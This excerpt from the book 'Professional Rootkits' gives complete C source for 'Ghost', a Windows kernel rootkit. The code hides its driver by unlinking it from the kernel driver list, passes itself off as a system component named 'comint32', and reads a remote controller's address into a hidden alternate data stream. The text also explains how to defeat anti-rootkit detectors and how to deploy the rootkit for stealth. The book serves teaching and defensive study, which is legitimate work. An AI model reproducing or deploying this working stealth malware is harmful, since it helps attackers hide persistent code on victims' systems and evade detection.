The example presented in this section is a rootkit that does nothing more than hide. There are no back doors, no communication channels, no key loggers, not even a password cache - just a simple configuration mechanism (for when we add a back door later) and a few simple methods for rootkit and file hiding. Following each source file is a general description of the file’s content and a detail of each major function. Following all the files is an in-depth description of the rootkit and its functions. Every file presented in this and the following chapters can be downloaded from the Wrox/Wiley Professional Rootkits website.


The file Ghost.h defines the simple data types that will be used in this rootkit. The only definition of interest is the type definition for a double word, which is actually an unsigned long. Drivers are usually compact and purpose built, unlike application software that can simply reference files such as stdio.h and windows.h to include large, bundled definition files.

DRIVER_DATA is part of an undocumented, internal Windows operating system structure. Among other things, the structure holds the pointers to the next and previous device drivers in the device driver list. Because the rootkit developed in this chapter is implemented as a device driver, removing the rootkit’s entry from the device driver list will conceal it from system administration utilities, making detection much more difficult:

  // Copyright Ric Vieler, 2006 // Support header for Ghost.c #ifndef _GHOST_H_ #define _GHOST_H_ typedef BOOLEAN BOOL; typedef unsigned long DWORD; typedef DWORD* PDWORD; typedef unsigned long ULONG; typedef unsigned short WORD; typedef unsigned char BYTE; typedef struct _DRIVER_DATA {  LIST_ENTRY listEntry;  DWORD  unknown1;  DWORD  unknown2;  DWORD  unknown3;  DWORD  unknown4;  DWORD  unknown5;  DWORD  unknown6;  DWORD  unknown7;  UNICODE_STRING path;  UNICODE_STRING name; } DRIVER_DATA; #endif 


The file Ghost.c is the main structural unit for this rootkit. The file contains the entry function DriverEntry, and the unload function OnUnload. The entry function is called by the operating system when the driver is loaded. The DRIVER_OBJECT passed to DriverEntry contains the map to the functions that will be called when communicating with the driver. The only function mapped at this time is pDriverObject->DriverUnload. This allows OnUnload to be called by the operating system when the driver is unloaded. This is a detectable setting that should not be used when absolute stealth is required, so it is marked accordingly:

  // Ghost // Copyright Ric Vieler, 2006 #include "ntddk.h" #include "Ghost.h" #include "fileManager.h" #include "configManager.h" // Global version data ULONG majorVersion; ULONG minorVersion; // Comment out in free build to avoid detection VOID OnUnload( IN PDRIVER_OBJECT pDriverObject ) {  DbgPrint("comint32: OnUnload called."); } NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING theRegistryPath ) {  DRIVER_DATA* driverData;  // Get the operating system version  PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );  // Major = 4: Windows NT 4.0, Windows Me, Windows 98 or Windows 95  // Major = 5: Windows Server 2003, Windows XP or Windows 2000  // Minor = 0: Windows 2000, Windows NT 4.0 or Windows 95  // Minor = 1: Windows XP  // Minor = 2: Windows Server 2003  if ( majorVersion == 5 && minorVersion == 2 )  {   DbgPrint("comint32: Running on Windows 2003");  }  else if ( majorVersion == 5 && minorVersion == 1 )  {   DbgPrint("comint32: Running on Windows XP");  }  else if ( majorVersion == 5 && minorVersion == 0 )  {   DbgPrint("comint32: Running on Windows 2000");  }  else if ( majorVersion == 4 && minorVersion == 0 )  {   DbgPrint("comint32: Running on Windows NT 4.0");  }  else  {   DbgPrint("comint32: Running on unknown system");  }  // Hide this driver  driverData = *((DRIVER_DATA**)((DWORD)pDriverObject + 20));  if( driverData != NULL )  {   // unlink this driver entry from the driver list   *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;   driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;  } // Allow the driver to be unloaded  pDriverObject->DriverUnload = OnUnload;  // Configure the controller connection  if( !NT_SUCCESS( Configure() ) )  {   DbgPrint("comint32: Could not configure remote connection.\n");   return STATUS_UNSUCCESSFUL;  }  return STATUS_SUCCESS; } 

Hiding a device driver is shown in Figure 2-1.

image from book
Figure 2-1

In Ghost.c, an internal kernel data structure is modified to hide the rootkit device driver from the operating system. This internal kernel data structure provides access to a doubly linked list containing all the currently running device drivers. Because applications such as drivers.exe get their device driver information from this list, removing the rootkit from the list will hide its existence, preventing most forms of detection. Fortunately, the kernel uses another list to allocate time to each running process, so removing the rootkit from the device driver list will not cause the rootkit to stall.

Before you implement this device driver hiding technique, be aware that removing a device driver list entry can be detected by anti-rootkit software. If you expect to deploy your rootkit into an environment where this form of concealment could be detected, save the address of the device driver list entry. After reading this book, you will be able to hook the kernel function that checks for device driver inconsistencies. By adding the saved list entry back into the device driver list before calling the original kernel function, and removing the list entry after calling the original kernel function, you can fool rootkit detectors into believing that the device driver is not being hidden, even though it will not show up on any device driver list.

You should have noticed the liberal use of debug statements throughout Ghost.c. These statements will appear in DebugView (or any kernel debugger output window) as they are encountered during runtime operation. DbgPrint statements can be placed almost anywhere in the rootkit. In this example, DbgPrint statements are used to monitor driver loading, driver unloading, and error conditions.

You should also have noticed the prefix comint32 used at the beginning of each debug statement. This is to differentiate our debug output from other processes using debugging statements. The designation comint32 was chosen to “obfuscate” the rootkit. Though the term “obfuscate” sounds very professional, and you will see it used frequently when dealing with stealth software, it is just another way to say “hide by misdirection.” In our case, we want to hide the rootkit by misdirecting operators into believing that it is a required system component. We will not be hooking the file system to filter out our rootkit directory until Chapter 9, so it’s a good idea to obfuscate the name we present to external systems until then.

All that is needed now is to configure the rookit for operation. This example doesn’t establish an actual remote controller connection, but I wanted to demonstrate alternate data streams and provide a complete rootkit that can be compiled and executed. The next seven chapters will progressively add the features required by most rootkits, but for now there is only the setup provided by the Configuration Manager.


The file configManager.h simply defines the structure for the controller’s address and communication port. It also declares the one function called from DriverEntry:

  // Copyright Ric Vieler, 2006 // Support header for ConfigManager.c #ifndef _CONFIG_MANAGER_H_ #define _CONFIG_MANAGER_H_ Char  masterPort[10]; Char  masterAddress1[4]; Char  masterAddress2[4]; Char  masterAddress3[4]; Char  masterAddress4[4]; NTSTATUS Configure(); #endif 


The file configManager.c reads 17 characters from a file. If the rootkit is already active, the file is hidden in an alternate data stream (ADS). If the rootkit is being installed for the first time, the file must be c:\config32. If the file isn’t in either of these locations, the rootkit gives up and exits gracefully:

  // ConfigManager // Copyright Ric Vieler, 2006 // First try c:\config32 // If it's there, save as MASTER_FILE:config32 and delete c:\config32 // If it's not there, try MASTER_FILE:configFile // If that doesn't exist, quit! #include "ntddk.h" #include "fileManager.h" #include "configManager.h" // Set the controllers IP and port NTSTATUS Configure() {  CHAR data[21];  SHORT vis = 0;  SHORT loop;  SHORT dataIndex;  SHORT addressIndex;  ULONG fileSize;  PHANDLE fileHandle;  // Need to know who to connect to  if( NT_SUCCESS( GetFile( L"\\??\\C:\\config32", data, 21, &fileSize ) ) )  {   DbgPrint("comint32: Reading config from visible file.");   vis = 1;  }  else  {   if( NT_SUCCESS( GetFile( L"config32", data, 21, &fileSize ) ) )   {    DbgPrint("comint32: Reading config from hidden file.");   }   else   {    DbgPrint("comint32: Error. Could not find a config file.");    return STATUS_UNSUCCESSFUL;   }  }  // Parse master address and port into aaa.bbb.ccc.ddd:eeeee  dataIndex = 0;  addressIndex = 0;  // First 3 are xxx of xxx.111.111.111:11111  for( loop = 0; loop < 3; loop++ )   masterAddress1[addressIndex++] = data[dataIndex++];  masterAddress1[addressIndex] = 0;  addressIndex = 0; // reset  dataIndex++; // skip the dot  // Next 3 are xxx of  for( loop = 0; loop < 3; loop++ )   masterAddress2[addressIndex++] = data[dataIndex++];  masterAddress2[addressIndex] = 0;  addressIndex = 0; // reset  dataIndex++; // skip the dot  // Next 3 are xxx of  for( loop = 0; loop < 3; loop++ )   masterAddress3[addressIndex++] = data[dataIndex++];  masterAddress3[addressIndex] = 0;  addressIndex = 0; // reset  dataIndex++; // skip the dot  // Next 3 are xxx of  for( loop = 0; loop < 3; loop++ )   masterAddress4[addressIndex++] = data[dataIndex++];  masterAddress4[addressIndex] = 0;  addressIndex = 0; // reset  dataIndex++; // skip the semicolon  // Next 5 are xxxxx of (port)  for( loop = 0; loop < 5; loop++ )   masterPort[addressIndex++] = data[dataIndex++];  masterPort[addressIndex] = 0;  DbgPrint( "comint32: Using %s.%s.%s.%s:%s",    masterAddress1,    masterAddress2,    masterAddress3,    masterAddress4,    masterPort);  if( vis == 1 )  {   DbgPrint("comint32: Saving config to hidden file.");   PutFile( L"config32", data, fileSize );   DbgPrint("comint32: You may delete the visible file.");  }  return STATUS_SUCCESS; } 

Professional Rootkits
Professional Rootkits (Programmer to Programmer)
ISBN: 0470101547
EAN: 2147483647
Year: 2007
Pages: 229
Authors: Ric Vieler

Similar book on Amazon
Rootkits: Subverting the Windows Kernel
Rootkits: Subverting the Windows Kernel
A Guide to Kernel Exploitation: Attacking the Core
A Guide to Kernel Exploitation: Attacking the Core
Reversing: Secrets of Reverse Engineering
Reversing: Secrets of Reverse Engineering
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code © 2008-2017.
If you may any questions please contact us: